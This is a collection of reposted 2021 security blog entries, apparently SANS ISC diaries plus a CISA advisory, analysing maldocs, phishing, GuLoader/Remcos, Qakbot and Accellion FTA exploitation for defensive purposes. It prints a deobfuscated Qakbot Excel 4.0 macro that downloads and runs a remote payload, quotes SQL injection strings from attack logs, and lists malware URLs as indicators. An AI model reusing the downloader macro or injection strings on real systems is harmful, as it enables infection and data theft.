Maldocs: Protection Passwords, (Sun, Feb 28th)

This post was originally published on this site

In diary entry "Unprotecting Malicious Documents For Inspection" I explain how to deal with protected malicious Excel documents by removing the protection passwords.

I created a new version of my plugin plugin_biff that attempts to recover protection passwords with a dictionary attack.

Here I use it with Brad's malicious spreadsheet sample:

It's not possible to determine if the recovered passwords (piano1 and 1qaz2wsx) are the actual passwords used by the malicious actors, or if they are the result of hash collisions (it's only a 32-bit hash). But they do work: you can remove the protections by using these passwords.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Pretending to be an Outlook Version Update, (Fri, Feb 26th)

This post was originally published on this site

I received this phishing email yesterday that seemed very strange with this short and urgent message:

"The Classic version of Outlook Mail will be replaced by our new version. So it's time to verify, before you lose your email access."

Holding and hovering my cursor over the URL, it was pointing to a site which has nothing to do with office (www[.]notion[.]so). The site is described as a All-in-one workspace to share information.

Following the URL, the page kind of look legitimate. However, the Outlook mail icon are just pictures, not posible to select anything. Another good give away that something isn't right in the right corner a picture with Notion. The only option is to "Click Here" which lead to the URL in the picture below.

Following the link, Firefox then provide this warning:

This is tax time which is prime for phishing scams (phone or email), they might have already started in your region. This SANS material [3][4], a poster and a training video, are a good reminder how these scam work. They can be shared with family members and coworkers to help them recongnize, detect and avoid being taken by phishing attacks.

Indicator of Compromise

https://www.notion[.]so/OUTLOOK-MAIL-e8a3b1516dd74f589b3d543bb93f6472 [1]
https://mail0.godaddysites[.]com [2]

[1] https://www.virustotal.com/gui/url/66c05ccf9efefa57705efae249dd8f96dec132c28060f41b361ed0d509a3f50a/detection
[2] https://www.virustotal.com/gui/url/7a7709eb06749d01f37f4611459d237165c1467eeff6488976d51a2de31ed0b9/detection
[3] https://www.sans.org/security-awareness-training/resources/posters/dont-get-hooked (Poster)
[4] https://www.youtube.com/watch?v=sEMrBKmUTPE (SANS Security Awareness: Email and Phishing)
[5] https://www.canada.ca/en/revenue-agency/corporate/security/protect-yourself-against-fraud.html
[6] https://www.irs.gov/newsroom/tax-scams-consumer-alerts
[7] https://ec.europa.eu/taxation_customs/node/1029_en
[8] https://www.gov.uk/government/organisations/hm-revenue-customs/contact/reporting-fraudulent-emails

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

So where did those Satori attacks come from?, (Thu, Feb 25th)

This post was originally published on this site

Last week I posted about a new Satori variant scanning on TCP port 26 that I was picking up in my honeypots. Things have slowed down a bit, but levels are still above where they had been since mid-July 2020 on %%port:26%%.

In some discussion afterward, a question that came up was where were the attacks coming from. My first thought was to take the IPs and run them through the Maxmind DB to geolocate them and map them. I first looked around to see if there was a Python script that would do the job using the Maxmind and Google Maps APIs. I didn't actually find what I was hoping for. I did find a few things that I can probably make work eventually (and if I have some time after I teach next week), perhaps I'll work more on that. In the meantime, Xavier threw the IPs in Splunk for me and got me some maps to show where the attacks were coming from. Now, it turns out that of the 384 attacks I recorded in 2 of my honeypots over the first 3 or 4 days of the spike, they came from 340 distinct IPs. The verdict is… most of them were coming from Korea. Here's what we got.

And if I zoom in on Asia, we see this

And, finally, I took a look at the US.

So, I'm not sure exactly what to make of all of this. I ran a few of these IPs through Shodan and didn't come up with anything in particular that they seemed to have in common, but maybe I didn't run enough of them.

If nothing else, this has given me some ideas of projects I need to work on when I have some free time. If anyone has any additional insight, I welcome your comments below or via e-mail or our contact page.

—————
Jim Clausing, GIAC GSE #26
jclausing –at– isc [dot] sans (dot) edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

PowerShell for Visual Studio Code Updates – February 2021

This post was originally published on this site

 

We are excited to announce that updates to our PowerShell extension and PowerShell Preview extension are now available on the Visual Studio Code marketplace. This blog will explain what is new in these releases as well as what you can expect from the extension in the coming months.

What’s new in the PowerShell Extension release

This incremental release incorporates changes from four preview releases! Some highlights of the release include:

For the full list of updates please refer to the changelog. Further goals of this release are well discussed on GitHub.

What’s new in PowerShell Preview release

This preview release contains updates to our build infrastructure, bug fixes, and updates to our language server client. For the full list of updates please refer to the changelog.

This release contains a breaking change which removes PowerShell notebook mode. This feature, which was only available on Visual Studio Code insiders in the PowerShell preview extension, was removed due to changes to the preview notebook APIs breaking the functionality of the feature. We have chosen to prioritizes fixes which we believe will improve the stability and reliability of the extension overall in the short term and hope to re-invest in PowerShell extension integration with the Visual Studio code notebook APIs once they stabilize.

A PowerShell notebook experience in Visual Studio Code insiders is still available through the .NET Interactive Notebooks extension.

What’s been happening since the last release

This is our first stable release of the PowerShell extension since June 2020. The time between these releases was longer than we anticipated and would have liked. We recognize that in the time since users have had to deal with longstanding bugs and performance deficiencies. This gap in releases reflects competing priorities across the PowerShell engineering team but does not reflect a shift in investment or commitment to Visual Studio Code as the premier free development environment for PowerShell.

In January 2021 we were also excited to welcome Andy to the PowerShell extension development team. With their support we plan to increase the cadence of improvements for the extension in the coming months.

What’s next for the extensions

Over the coming months we plan to improve the extension with the following areas of focus:

We are also currently investigating new feature areas for the extension like Predictive IntelliSense integrations for the editor, GitHub Codespaces, and notebook integrations. You can track the progress on all of these projects in our GitHub repository.

Getting support and giving feedback

If you encounter any issues with the PowerShell extension in Visual Studio Code or have feature requests, the best place to get support is through our GitHub repository.

Sydney Smith, PowerShell Team

 

The post PowerShell for Visual Studio Code Updates – February 2021 appeared first on PowerShell Team.

AA21-055A: Exploitation of Accellion File Transfer Appliance

This post was originally published on this site

Original release date: February 24, 2021

Summary

This joint advisory is the result of a collaborative effort by the cybersecurity authorities of Australia,[1] New Zealand,[2] Singapore,[3] the United Kingdom,[4] and the United States.[5][6] These authorities are aware of cyber actors exploiting vulnerabilities in Accellion File Transfer Appliance (FTA).[7] This activity has impacted organizations globally, including those in Australia, New Zealand, Singapore, the United Kingdom, and the United States.

Worldwide, actors have exploited the vulnerabilities to attack multiple federal and state, local, tribal, and territorial (SLTT) government organizations as well as private industry organizations including those in the medical, legal, telecommunications, finance, and energy sectors. According to Accellion, this activity involves attackers leveraging four vulnerabilities to target FTA customers.[8] In one incident, an attack on an SLTT organization potentially included the breach of confidential organizational data. In some instances observed, the attacker has subsequently extorted money from victim organizations to prevent public release of information exfiltrated from the Accellion appliance.

This Joint Cybersecurity Advisory provides indicators of compromise (IOCs) and recommended mitigations for this malicious activity. For a downloadable copy of IOCs, see: AA21-055A.stix and MAR-10325064-1.v1.stix.

Click here for a PDF version of this report.

Technical Details

Accellion FTA is a file transfer application that is used to share files. In mid-December 2020, Accellion was made aware of a zero-day vulnerability in Accellion FTA and released a patch on December 23, 2020. Since then, Accellion has identified cyber actors targeting FTA customers by leveraging the following additional vulnerabilities.

  • CVE-2021-27101 – Structured Query Language (SQL) injection via a crafted HOST header (affects FTA 9_12_370 and earlier)
  • CVE-2021-27102 – Operating system command execution via a local web service call (affects FTA versions 9_12_411 and earlier)
  • CVE-2021-27103 – Server-side request forgery via a crafted POST request (affects FTA 9_12_411 and earlier)
  • CVE-2021-27104 – Operating system command execution via a crafted POST request (affects FTA 9_12_370 and earlier)

One of the exploited vulnerabilities (CVE-2021-27101) is an SQL injection vulnerability that allows an unauthenticated user to run remote commands on targeted devices. Actors have exploited this vulnerability to deploy a webshell on compromised systems. The webshell is located on the target system in the file /home/httpd/html/about.html or /home/seos/courier/about.html. The webshell allows the attacker to send commands to targeted devices, exfiltrate data, and clean up logs. The clean-up functionality of the webshell helps evade detection and analysis during post incident response. The Apache /var/opt/cache/rewrite.log file may also contain the following evidence of compromise:

  • [.'))union(select(c_value)from(t_global)where(t_global.c_param)=('w1'))] (1) pass through /courier/document_root.html
  • [.'))union(select(reverse(c_value))from(t_global)where(t_global.c_param)=('w1'))] (1) pass through /courier/document_root.html
  • ['))union(select(loc_id)from(net1.servers)where(proximity)=(0))] (1) pass through /courier/document_root.html

These entries are followed shortly by a pass-through request to sftp_account_edit.php. The entries are the SQL injection attempt indicating an attempt at exploitation of the HTTP header parameter HTTP_HOST.

Apache access logging shows successful file listings and file exfiltration:

  • “GET /courier/about.html?aid=1000 HTTP/1.1” 200 {Response size}
  • “GET /courier/about.htmldwn={Encrypted Path}&fn={encrypted file name} HTTP/1.1” 200 {Response size}

When the clean-up function is run, it modifies archived Apache access logs /var/opt/apache/c1s1-access_log.*.gz and replaces the file contents with the following string:

      Binary file (standard input) matches

In two incidents, the Cybersecurity and Infrastructure Security Agency (CISA) observed a large amount of data transferred over port 443 from federal agency IP addresses to 194.88.104[.]24. In one incident, the Cyber Security Agency of Singapore observed multiple TCP sessions with IP address 45.135.229[.]179.

Organizations are encouraged to investigate the IOCs outlined in this advisory and in [AR21-055A]. If an Accellion FTA appears compromised, organizations can get an indication of the exfiltrated files by obtaining a list of file-last-accessed events for the target files of the symlinks located in the /home/seos/apps/1000/ folder over the period of malicious activity. This information is only indicative and may not be a comprehensive identifier of all exfiltrated files.

Mitigations

Organizations with Accellion FTA should:

  • Temporarily isolate or block internet access to and from systems hosting the software.
  • Assess the system for evidence of malicious activity including the IOCs, and obtain a snapshot or forensic disk image of the system for subsequent investigation.
  • If malicious activity is identified, obtain a snapshot or forensic disk image of the system for subsequent investigation, then:
    • Consider conducting an audit of Accellion FTA user accounts for any unauthorized changes, and consider resetting user passwords.
    • Reset any security tokens on the system, including the “W1” encryption token, which may have been exposed through SQL injection.
  • Update Accellion FTA to version FTA_9_12_432 or later.
  • Evaluate potential solutions for migration to a supported file-sharing platform after completing appropriate testing.
    • Accellion has announced that FTA will reach end-of-life (EOL) on April 30, 2021.[9] Replacing software and firmware/hardware before it reaches EOL significantly reduces risks and costs.

Additional general best practices include:

  • Deploying automated software update tools to ensure that third-party software on all systems is running the most recent security updates provided by the software vendor.
  • Only using up-to-date and trusted third-party components for the software developed by the organization.
  • Adding additional security controls to prevent the access from unauthenticated sources.

Resources

References

Revisions

  • February 24, 2021: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Malspam pushes GuLoader for Remcos RAT, (Wed, Feb 24th)

This post was originally published on this site

Introduction

Malicious spam (malspam) pushing GuLoader malware has been around for over a year now. GuLoader is a file downloader first observed in December 2019, and it has been used to distribute a wide variety of malware, especially malware based on remote administration tools (RATs).  I wrote a blog last year examining malspam using GuLoader for Netwire RAT.  And GuLoader activity has continued since then.

Today's diary reviews a case of malspam pushing GuLoader for Remcos RAT on Tuesday 2021-02-23.


Shown above:  Flow chart for the Remcos RAT infection reviewed in today's diary.

The malspam


Shown above:  Screenshot of the malspam.

The malspam is supposedly from someone in Lowes from Canada.  Below are some email headers associated with this message.

Received: from rz-medizintechnik.com (unknown [185.29.11.66])
Date: 23 Feb 2021 07:18:05 +0100
From: CHIRAG MARCUS <chirag.m@lowes-ca.org>
Subject: New Quotation 2021
Message-ID: <20210223071804.247143D567E6DCFA@lowes-ca.org>

As noted above, the sender is supposedly from lowes-ca.org, but this site is not associated with Lowes. That domain has an open directory for its web server, and it seems like it's being used for malicious purposes.


Shown above:  Lowes-ca.org when viewed in a web browser.

The attachment

I opened the attachment in my lab, but I was on a Windows 10 host running a recent version of Microsoft Office.  Initially, I didn't realize this was a document with an exploit targeting CVE-2017-11882.  I had to switch to an older Windows 7 host to get an infection.


Shown above:  Screenshot of the attachment opened in Excel.

The infection traffic

Infection traffic was typical for what I've seen with previous GuLoader infections for some sort of RAT-based malware.  In this case, the infected Windows host was unable to establish a TCP connection with the server used by this sample for Remcos RAT.


Shown above:  Traffic from the infection filtered in Wireshark.

Forensics on the infected Windows host

The infected Windows host had GuLoader persistent on the infected host using a registry update.  When rebooted, the GuLoader sample again retrieved the encoded binary for Remcos RAT.


Shown above:  GuLoader for Remcos RAT persistent on the infected Windows host.

Indicators of Compromise (IOCs)

Associated malware:

SHA256 hash: 21c4c697c6cba3d1d7f5ae5d768bf0c1d716eccc4479b338f2cf1336cf06b8ad

  • File size: 2,231,808 bytes
  • File name: Lowes_Quotation_PN#1092021.xlsx
  • File description: Email attachment, Word doc with exploit for CVE-2017-11882

SHA256 hash: 6141efb6f1598e2205806c5a788e61c489440dfc942984ee1688bb68ad0f18df

  • File size: 106,496 bytes
  • File location: hxxp://mtspsmjeli.sch[.]id/Img/VOP.exe
  • File location: C:Users[username]AppDataRoamingwin.exe
  • File description: Windows EXE, GUI Loader for Remcos RAT

Infection traffic:

GuLoader EXE retrieved through CVE-2017-11882 exploit:

  • 103.150.60[.]242 port 80 – mtspsmjeli.sch[.]id – GET /Img/VOP.exe

GuLoader retrieves encoded data for Remcos RAT:

  • 103.150.60[.]242 port 80 – mtspsmjeli.sch[.]id – GET /cl/VK_Remcos%20v2_AxaGIU151.bin

Remcos RAT post-infection traffic:

  • 192.253.246[.]142 port 2009 – hsyuwbvxczbansmloiujdhsbnbcgywqauaghxvz.ydns[.]eu – attempted TCP connections

Final words

We continue to see new malware samples using exploits based on CVE-2017-11882 in the wild.  This vulnerability is over 3 years old, and exploits targeting it are not effective against the most recent versions of Microsoft Windows and Office.  The only reason we continue to see these new samples is because distributing exploits based on CVE-2017-11882 remains profitable.  That means a substantial number of people still use outdated versions of Microsoft Office and/or Windows that are not properly patched or updated.

GuLoader has been a relatively a constant presence in our threat landscape since it was discovered in December 2019, so I expect we'll also continue to see new samples for various RAT-based malware in the weeks and months ahead.

Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Qakbot in a response to Full Disclosure post, (Tue, Feb 23rd)

This post was originally published on this site

Given its history, the Full Disclosure mailing list[1] is probably one of the best-known places on the internet where information about newly discovered vulnerabilities is may be published in a completely open way. If one wishes to inform the wider security community about a vulnerability one found in any piece of software, one only has to submit a post and after it is evaluated by the moderators, the information will be published to the list. Whatever your own thoughts on the issues of full or limited disclosure might be, the list can be an interesting source of information.

Couple of years back, I posted a message to the list about a small vulnerability I found in a plugin for the CMS Made Simple content management system[2]. And last week, to my surprise, I received what appeared to be a reply to my post… Although at a first glance, its contents seemed more than a little suspicious.

The headers in the message showed that although it was really sent in a reply to the post from 2019 (the “In-Reply-To” and “References” headers contained the correct message ID of the original mail), it didn’t go through the mailing list itself.

...
MIME-Version: 1.0
Date: Thu, 18 Feb 2021 17:39:51 +0100
...
Message-ID: <79D7756F0F0A254E2BAAEC82026BE789678AF944@unknown>
Subject: [Jan Kopriva] [FD] Open Redirection vulnerability in Babel (CMSMS
 Module)
...
Content-Type: multipart/mixed; boundary="------------000309030201050000030608"
sender: Fulldisclosure <fulldisclosure-bounces@seclists.org>
X-Priority: 3 (Normal)
From: techis <athena70@...
...
In-Reply-To: <ef820095cca8c21326c29a3c0ef6d547@untrustednetwork.net>
References: <ef820095cca8c21326c29a3c0ef6d547@untrustednetwork.net>
...

The sender address, which may be seen in the picture above (“fulldislosure-bounces … on behalf of”), might make the message appear as if it did originate from the mailing list, however this information, just as the identity of the sender which recipient sees after opening the message, is only based on one of the message headers (in this case “sender”), which means that it may be set almost arbitrarily by the sender.

The attachment contained an XLS file (document-1544458006.xls).

Upon closer inspection, the file turned out to contain Excel 4.0 macros.

In cases of documents with Excel 4.0 macros, I find that to get a quick (and admittedly very dirty) look at their code, it is not a bad idea to simply copy contents of all the Excel sheets with macros into a text file and remove all unnecessary whitespaces. If the macros aren’t heavily obfuscated, this approach may result in something readable. Luckily, this was one of those cases, as you may see from the following code.

=Doc1!AK28()
	=""&""&""&""&""&""&""&""&""&""&""&""&FORMULA(AP41&"2 ",AD15)	=""&""&""&""&""&""&""&""&""&""&""&""&FORMULA(AQ41,AE15)
	=AE14()	=Doc2!AC12()=FORMULA(AO36&AO37&AO38&AO39&AO40&AO41,AO25)
=AG24()
=CALL(AO25,Doc2!AC13&Doc2!AC12&AG25&"A","JJC"&"CBB",0,Doc1!A100,""&""&""&""&""&""&""&""&""&""&""&""&""&""&""&Doc1!AQ30,0)
=AO5()
=REPLACE(Doc1!AQ25,6,1,Doc1!AQ26)	
=REPLACE(AP34,6,1,Doc1!AL12)		URLMon		egist
=AK22()	erServer
=""&""&""&""&""&""&""&""&""&""&""&""&EXEC(Doc1!AD15&Doc1!AQ30&Doc1!AE15&AG24)	r	,	
=HALT()	u	D	
	n	l	..idefje.ekfd
	d	l	
	l	R	
	l		
	3	File	
		Dow	
	U		
	R		
	L		
	M	URL	
	o		
	n	rundll3	,DllR



="https://jordanbetterworkplace.org/ds/1802."&C100		gif	

=REPLACE(Doc1!AP35,7,7,"nloadTo")
=REPLACE(Doc1!AP39,7,7,"")
=REPLACE(#REF!AB7&#REF!AB8&#REF!AB9&#REF!AB10&#REF!AB11,7,7,"l3")
=Doc1!AH16()

Although there is some elementary obfuscation applied to the code, few of the rows provide a good enough idea of what the macros are probably supposed to do (i.e. most likely download and run the contents of https[:]//jordanbetterworkplace[.]org/ds/1802.gif). The URL was no longer active by the time I got to it, but from a recent analysis of a nearly identical file by the Hatching Triage sandbox[3] as well as threat intelligence data available for the URL itself[4], it is clear that the final payload was supposed to be the Qakbot infostealer.

Although one may only guess at the background, since the e-mail carrying the XLS contained valid message ID of the original e-mail sent to the mailing list in its headers, it is quite probable, that it was really sent in response to the Full Disclosure post. Probably after some threat actor managed to compromise an e-mail account, which was subscribed to the list.

If this was the case, I would however expect not to be the only recipient of a similar message, so if any of our readers is a contributor to the FD list, please let us know in the comments if you’ve received something similar.

Regardless, what brought the message to my attention in the first place (i.e. it appearing as if it was sent through the Full Disclosure mailing list) turned out to be a coincidence more than anything else. It was however a good reminder that similar coincidences do happen and may sometimes lead to recipients receiving very trustworthy looking messages…even though it might not be through intentional activity on the part of the attackers.

Indicators of Compromise (IoCs)
document-1544458006.xls (89 kB)
MD5 – 871f8ff683479dee3546a750e1a04808
SHA1 – 5b1344d6d6148ebdaa508a2b25fa2ce0fed87e57

[1] https://seclists.org/fulldisclosure/
[2] https://seclists.org/fulldisclosure/2019/Mar/11
[3] https://tria.ge/210218-pnw1z6fjv2
[4] https://urlhaus.abuse.ch/url/1017981/

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Unprotecting Malicious Documents For Inspection, (Mon, Feb 22nd)

This post was originally published on this site

I wanted to take a look at Brad's malicious spreadsheet, using Excel inside a VM.

But I can not make changes or unhide sheets, as the workbook and the sheets are protected:

And the protection password is not "VelvetSweatshop".

Thus I started to remove this protection.

First of all, the malicious spreadsheet is also encrypted: it has an encryption password and protections passwords. But since the encryption password is VelvetSweatshop, the user doesn't have to provide the password to decrypt the document upon opening.

However, I need to decrypt this document first, so that I can remove the protections. I do this with my tool msoffcrypto-crack.py:

When an Office document is encrypted with a password, the content of the document is cryptographically encrypted, and you need the password to decrypt the document. That's what I just did.

When an Office document is protected with a password, the content of the document is not encrypted. The content remains readable (cleartext). However, flags are set so that Excel will prevent you from altering the document. I explain how you can remove this protection by clearing the flags and passwords in my blog post "Quickpost: oledump.py plugin_biff.py: Remove Sheet Protection From Spreadsheets".

For this malicious spreadsheet, I'm going to take a slightly different route: I'm going to "change" the protection passwords (unknown to me) to passwords known to me.

To achieve this, I need to change some bytes in records that make up the Excel spreadsheet. I'm using my tool oledump.py with plugin plugin_biff to locate these records:

BIFF records PASSWORD contain 2 bytes of data: this is a custom hash of the actual password. When these 2 bytes are 00 00, there is no password.

Here the hashes are 41 CB and 4D 91. I'm going to replace these bytes with AB 94. AB 94 is the hash for password P@ssw0rd. So by replacing these bytes, I "replace" an unknown password by a known password.

I use option -R of plugin_biff to get a complete hexdump of the BIFF records (record-type + record-length + record-data), that I then use with a hexadecimal editor to search for these records in the sample file, and replace the hashes' bytes:

Searching for 1300020041cb:

Replacing 41cb with ab94:

Searching for 130002004d91:

Replacing 4d91 with ab94:

Now I have a malicious spreadsheet, that is still protected (workbook and sheets), but now I know the protection passwords (P@ssw0rd).

Final step: I open this modified malicious spreadsheet with Excel inside a VM, unprotect it with password P@ssw0rd, and inspect the malicious Excel 4 macros:

 

The Excel 4 macro sheet is hidden, but now I can unhide it because the malicious spreadsheet is no longer protected:

Some closing remarks:

  • In my blog post "Quickpost: oledump.py plugin_biff.py: Remove Sheet Protection From Spreadsheets" I show how to reset the flags and remove the passwords for protected sheets, here I show how to change the passwords for protected workbook and sheets.
  • I could also crack the hashes in stead of replacing them with a known hash. Since this is a 32-bit hash, I expect that cracking it will be fast. Collisions for a 32-bit hash are not rare, with a brute-force attack it's possible that you would obtain a working password that is not the original password.
  • I could also unhide the sheets with a hexadecimal editor, as explained in diary entry "Excel Maldocs: Hidden Sheets".
  • There are commercial tools that do this manual process for you automatically.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

DDE and oledump, (Sun, Feb 21st)

This post was originally published on this site

I was asked if the DDE YARA rules I created work with oledump.py on the sample that Xavier wrote about in his diary entry "Dynamic Data Exchange (DDE) is Back in the Wild?".

These rules can be used with YARA directly:

And you can use YARA's option -s to view the string. It will contain the DDE command:

But these rule do not work with oledump.py (I designed them to work with YARA):

oledump.py supports YARA rules through option -y: when you use that option, the provided YARA rules are applied to each individual stream in the ole file (not the complete ole file, like YARA itself does).

But the rules for ole files that I created, contain a test to check if the file is an ole file: uint32be(0) == 0xD0CF11E0

If you suppress this test, you can use these rules with oledump:

In stead of suppressing this test, I created 2 new rules without this test:

rule Office_OLE_DDEAUTO_sa {
  strings:
    $a = /x13s*DDEAUTOb[^x14]+/ nocase
  condition:
    $a
}

rule Office_OLE_DDE_sa {
  strings:
    $a = /x13s*DDEb[^x14]+/ nocase
  condition:
    $a
}

And now one of these new rules triggers on the WordDocument stream:

You can use option –yarastrings to display the matched strings:

And I also made a video:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Quickie: Extracting HTTP URLs With tshark, (Sat, Feb 20th)

This post was originally published on this site

After I posted diary entry "Quickie: tshark & Malware Analysis", someone asked me how to extract HTTP URLs from capture files with tshark.

Use option -r to read a capture file, and options -T fields and -e http.request.full_uri to let tshark print the full URL of HTTP requests. Problem is that tshark will also output an empty line for each packet. I filter these out with findstr or grep:

Please post a comment if you know how you can avoid these empty lines with a tshark option.

It's also possible to print the full protocol packet tree with packet details, and search this for URLs with my re-search.py tool. The difference here, is that you will find all kinds op URLs, not only for HTTP requests.

For example, many of the URLs seen in this screenshot, are found inside certificates.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.